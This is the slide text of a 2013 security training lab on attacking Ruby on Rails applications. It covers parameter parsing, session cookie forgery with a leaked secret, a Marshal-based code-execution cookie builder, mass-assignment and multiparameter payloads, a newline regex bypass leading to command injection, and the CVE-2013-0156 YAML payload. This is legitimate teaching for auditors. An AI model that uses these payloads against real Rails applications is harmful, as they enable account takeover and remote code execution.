Attacking Ruby on Rails Applications

HITB Amsterdam 2013

Labs Session

joernchen of Phenoelit

Motivation

Useful tools

Besides the usual Audit tools and a Ruby installation the following is quite handy:

Agenda

  • What is Rails?
  • User Input
  • Common Pitfalls
  • Hands on!
  • CVE-2013-0156

What is Rails?

Ruby on Rails is an open-source web framework that's optimized for programmer happiness and sustainable productivity. It lets you write beautiful code by favoring convention over configuration.

- rubyonrails.org

Ruby on Rails (Rails/RoR) is an Model-View-Controller (MVC) based Web application framework written in Ruby.

|-- app                                  Overview
|   |-- assets                 
|   |   |-- images
|   |   |-- javascripts
|   |   `-- stylesheets
|   |-- controllers
|   |-- helpers
|   |-- mailers
|   |-- models     
|   `-- views       
|       `-- layouts
|-- config
|   |-- environments
|   |-- initializers
|   `-- locales
|-- db
|-- doc
|-- lib  
|   |-- assets
|   `-- tasks
|-- log
|-- public
|-- script
|-- test 
|   |-- fixtures
|   |-- functional
|   |-- integration
|   |-- performance
|   `-- unit
|-- tmp
|   `-- cache
|       `-- assets
`-- vendor
    |-- assets
    |   |-- javascripts
    |   `-- stylesheets
    `-- plugins  

MVC

MVC is a software architecture pattern which splits up the software in three different domains:

  • Model: Holds the softwares' data and typically implements the business logic
  • View: Takes care of the data representation towards the user
  • Controller: Entry point for the users' input towards the application

As seen on Wikipeida

A Model in RoR

The models are located in app/models

class Post <  ActiveRecord::Base
  validates_presence_of :title 
  attr_accessible :body, :title
end
					

The models are located in app/models
Here we can see parts of the business logic, namely validates_presence_of :title, which enforces that a title is set within each post.

Database View on the Model

For a quick overview look at db/schema.rb


ActiveRecord::Schema.define(:version => 20130308130651) do

  create_table "posts", :force => true do |t|
    t.text     "title"
    t.text     "body"
    t.datetime "created_at", :null => false
    t.datetime "updated_at", :null => false
  end
[...]
					

A View in RoR

The views are located in app/views

<p id="notice"><%= notice %></p>
<p>
  <b>Title:</b>
  <%= @post.title %>
</p>
<p>
  <b>Body:</b>
  <%= @post.body %>
</p>
<%= link_to 'Edit', edit_post_path(@post) %> |
<%= link_to 'Back', posts_path %>
					

Views are typically written in ERB. This looks like above, a mixture of HTML and Ruby.

A Controller in RoR

The controllers are located in app/controllers

class PostsController <  ApplicationController
[...]
  def show
    @post = Post.find(params[:id])

    respond_to do |format|
      format.html # show.html.erb
      format.json { render json: @post }
    end
  end

Controller - Filters

A controller can define several filters:

  • before_filter
  • after_filter
  • skip_before_filter
  • skip_after_filter
  • around_filter

Controller - Filters

Typical filter usage:

class UsersController < ApplicationController
  layout 'admin'
  before_filter :require_admin, :except => :show
[...]
end

User Input



We need to know how to build our input such that the RoR app understands it in order to be able to craft proper attacks and exploits.

HTTP Request Parameters

The params variable holds all HTTP Request parameters in form of a hash.

application/x-www-form-urlencoded

Input like user=hacker&password=happy will yield a params hash of:
params = {"user"=>"hacker","password"=>"happy"}

Arrays / Hashes / nil

emptystr=&array[]=one&array[]=two& nilvar&hash[key1]=val1&hash[key2]=val2

params = 
{  "emptystr" => "",
   "array" => ["one","two"], 
   "nilvar" => nil, 
   "hash" => 
     { "key1" => "val1", 
       "key2" => "val2" 
     } 
}

Mulitparameter Attributes

Rails if capable of assigning multiple values to one attribute (e.g. for Time variables)

This looks like this:

user[attr(1)]=val1&user[attr(2)]=val2&...&user[attr(N)]=valN

text/xml

Posting this with content-Type text/xml

<user>
  <name>hacker</name>
</user>
will result in:
{ "user" => 
  {
    "name" => "hacker" 
  }
}
* Note: This input method will be disabled in the upcoming Rails 4 release.

Typed XML

rails/activesupport/lib/active_support/xml_mini.rb

     PARSING = {
        "date"         => Proc.new { |date|    ::Date.parse(date) },
        "datetime"     => Proc.new { |time|    ::Time.parse(time).utc rescue ::DateTime.parse(time).utc },
        "integer"      => Proc.new { |integer| integer.to_i },
        "float"        => Proc.new { |float|   float.to_f },
        "decimal"      => Proc.new { |number|  BigDecimal(number) },
        "boolean"      => Proc.new { |boolean| %w(1 true).include?(boolean.strip) },
        "string"       => Proc.new { |string|  string.to_s },
        "base64Binary" => Proc.new { |bin|     ActiveSupport::Base64.decode64(bin) },
        "binary"       => Proc.new { |bin, entity| _parse_binary(bin, entity) },
        "file"         => Proc.new { |file, entity| _parse_file(file, entity) }
      }
      PARSING.update(
        "double"   => PARSING["float"],
        "dateTime" => PARSING["datetime"]
      )

application/json

JSON can encode per specification the following:

  • String
  • Object (which will be a Hash in Ruby)
  • Number
  • Array
  • True
  • False
  • Null (which will be nil in Ruby)

application/json

This JSON string:


{"a":["string",1,true,false,null,{"hash":"value"}]}

Will become this params hash:

{"a"=>["string", 1, true, false, nil, {"hash"=>"value"}]}

Common Pitfalls

Sessions

Rails' sessions are by default held client side in a cookie. This cookie holds the session hash in the following form:

B64Blob--SHA1HMAC_of_B64Blob
Where the B64Blob is the serialized (Marshal.dump(session)) value of the session hash

Sessions

Sessions cookies are not encrypted, so sensitive data should not go there (this will change in Rails 4)

Sessions

Looking at them:

$ irb
1.9.3p194 :001 > require 'rails/all'
 => true 
1.9.3p194 :002 > c = "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTc5MzhlNzc2MTVhN2Y0MWQyZmM4NThjNWE3ZTE1MzBlBjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMWJNWkFCM3VPSHpKV3MzSm1YQXdnOTQ4NlBnZG5QajQzYVNrNk9ScDdEM2M9BjsARg=="
 => "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTc5MzhlNzc2MTVhN2Y0MWQyZmM4NThjNWE3ZTE1MzBlBjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMWJNWkFCM3VPSHpKV3MzSm1YQXdnOTQ4NlBnZG5QajQzYVNrNk9ScDdEM2M9BjsARg==" 
1.9.3p194 :003 > m = Base64.decode64 c
 => "\x04\b{\aI\"\x0Fsession_id\x06:\x06EFI\"%7938e77615a7f41d2fc858c5a7e1530e\x06;\x00TI\"\x10_csrf_token\x06;\x00FI\"1bMZAB3uOHzJWs3JmXAwg9486PgdnPj43aSk6ORp7D3c=\x06;\x00F" 
1.9.3p194 :005 > Marshal.load m
 => {"session_id"=>"7938e77615a7f41d2fc858c5a7e1530e", "_csrf_token"=>"bMZAB3uOHzJWs3JmXAwg9486PgdnPj43aSk6ORp7D3c="} 

Sessions

The secret to the HMAC lies usually in config/initializers/secret_token.rb

Many devs are not aware of this file and happily check it into their open source projects.

With knowledge of the HMAC secret we can do pretty fancy stuff.

Sessions

Signing them:


#!/usr/bin/ruby
# Sign a cookie in RoR style
require 'base64' 
require 'openssl'
hashtype = 'SHA1'
key = "secret_key_of_the_app" 
cookie = {"user_id"=>1}
c = Base64.strict_encode64(Marshal.dump(eval("#{cookie}"))).chomp
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(hashtype), key, c)
puts("#{c}--#{digest}")

For a handy script check out https://github.com/joernchen/evil_stuff/

Remember Kids!

What has been HMACed

cannot be un-HMACed


A.k.a. once you got the cookie, it is valid to the app until the secret is exchanged

Code Execution via Sessions


def build_cookie
  code =  "eval('whatever ruby code')"
  marshal_payload = Rex::Text.encode_base64(
    "\x04\x08" +
    "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
            ":\x0E@instance" +
                    "o"+":\x08ERB"+"\x06" +
                            ":\x09@src" +
                                    Marshal.dump(code)[2..-1] +
            ":\x0C@method"+":\x0Bresult"
  ).chomp
  digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), SECRET_TOKEN, marshal_payload)
  marshal_payload = Rex::Text.uri_encode(marshal_payload)         
  "#{marshal_payload}--#{digest}"
end

This vector was found by Charlie Somerville in the process of exploiting CVE-2013-0156.

find_by/where

To keep in mind:

nils can easily be passed via parameters

User.find_by_token(params[:token])

to_json/to_xml

The default scaffolding generates controller code like:


class UsersController < ApplicationController
  # GET /users
  # GET /users.json
  def index
    @users = User.all
    respond_to do |format|
      format.html # index.html.erb
      format.json { render json: @users }
    end
  end
  # GET /users/1
  # GET /users/1.json
  def show
    @user = User.find(params[:id])
    respond_to do |format|
      format.html # show.html.erb
      format.json { render json: @user }
    end
  end
[...]

Mass Assignments

def signup
  @user = User.new(params[:user])
  @user.save
end

So we go ahead and post: user[name]=hacker&user[admin]=1

Mass Assignments

How to not do it:
def update
  @user = User.find(params[:id])
  params[:user].delete(:admin) # make sure to protect admin flag
  respond_to do |format|
    if @user.update_attributes(params[:user])
    [...]

Mass Assignments

How to not do it:
def update
  @user = User.find(params[:id])
  params[:user].delete(:admin) # make sure to protect admin flag
  respond_to do |format|
    if @user.update_attributes(params[:user])
    [...]

Multiparameter attributes to the rescue!

Just POST: user[admin(1)]=1

Mass Assignments

How to do it right:

Put attr_protected or attr_accessible in the model:


class User < ActiveRecord::Base
  attr_protected :admin, :suspended_at
[...]
end

Code Execution

As usual you should watch out for stuff like:

  • `command #{user_input}`
  • popen
  • system
  • %x
  • eval
  • ...

Code Execution the Ruby way

send(symbol [, args...]) → obj

Invokes the method identified by symbol, passing it any arguments specified. You can use __send__ if the name send clashes with an existing method in obj. When the method is identified by a string, the string is converted to a symbol.

Code Execution the Ruby way

send(ui1,ui2) is what to look for

Imagine ui1="instance_eval" and ui2="some ruby code"

Code Execution the Ruby way

So we have:

  • send
  • __send__
  • public_send
  • try

  • to look for as well

Regular Expressions

What's wrong here?

class PingController < ApplicationController
  def ping
    if params[:ip] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
      render :text => `ping -c 4 #{params[:ip]}`
    else
      render :text => "Invalid IP"
    end
  end
end

Regular Expressions

$ perl -e '$a="foo\nbar" ;  $a =~ /^foo$/ ? print "match" : print "no match"'
no match

$ ruby -e 'a="foo\nbar" ; if a =~ /^foo$/; puts "match" ;else puts "no match"; end'
match

Regular Expressions

class PingController < ApplicationController
  def ping
    if params[:ip] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
      render :text => `ping -c 4 #{params[:ip]}`
    else
      render :text => "Invalid IP"
    end
  end
end

The above regex is bypassable like:

$ curl localhost:3000/ping/ping -H "Content-Type: application/json" --data \
'{"ip" : "127.0.0.999\n id"}'

Hands on!

Point you browser to:

http://www.phenoelit.org/stuff/hitb2013ams/

getthatflag1/src

getthatflag2/src

getthatflag3/src

hitbstages/src

The Hall of Fame is at:

hitbhalloffame


Build teams

I'm here to help when you get stuck

CVE-2013-0156

Root cause: YAML in typed XML

POST /railsapp HTTP/1.1
Content-Type: text/xml
[...]

<x type=”yaml”>--- some yaml</x>
=> params[:x] => “some yaml”

Fear YAML

  • YAML might encode almost arbitrary Objects
  • Constructor is bypassed
  • Objects are allocated and instance variables are set


So, what if:

  • One can YAML.encode some Object out of the Rails std. Library
  • which implements a custom [] method
  • Rails thinks it has an Hash object and calls [“somemember”] on it
Things might go Boom™

The holy grail

Hi, my name is: ActionController::Routing::RouteSet::NamedRouteCollection
alias []=   add
def add(name, route)
   routes[name.to_sym] = route
   define_named_route_methods(name,route) 
end

def define_named_route_methods(name, route)
  {:url => {:only_path => false}, :path => {:only_path => true}}.each do |kind, opts|
  hash = route.defaults.merge(:use_route => name).merge(opts)
  define_hash_access route, name, kind, hash 
[...]
def define_hash_access(route, name, kind, options)
 selector = hash_access_name(name, kind)
 # We use module_eval to avoid leaks 
@module.module_eval <<-END_EVAL, __FILE__, __LINE__ + 1
  remove_possible_method :#{selector}
[...]

The payload:

--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
:'doesnotmatter; RUBY PAYLOAD;': !ruby/object:OpenStruct
 table:
  :defaults: {} => nil

Thank you!

I hope you had some fun.


Send your rants 'n flames to joernchen@phenoelit.de

Cheers to:

astera
FX
Mumpi
#social
HDM
greg
opti
tina
nowin
the HITB crew